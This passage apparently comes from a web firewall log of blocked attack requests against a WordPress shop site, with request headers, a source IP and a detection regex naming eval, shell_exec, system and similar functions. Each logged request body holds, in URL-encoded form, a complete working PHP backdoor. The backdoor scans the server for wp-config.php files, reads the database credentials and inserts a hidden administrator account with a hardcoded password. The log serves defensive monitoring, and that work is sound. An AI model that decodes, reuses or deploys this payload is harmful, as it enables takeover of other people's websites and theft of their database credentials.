20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:12663\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\nVmQHcs=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:26:51","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ms:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-length:12640\nsec-fetch-dest:document\ncookie:4=075c9837d13360cab7e282d000e684af; 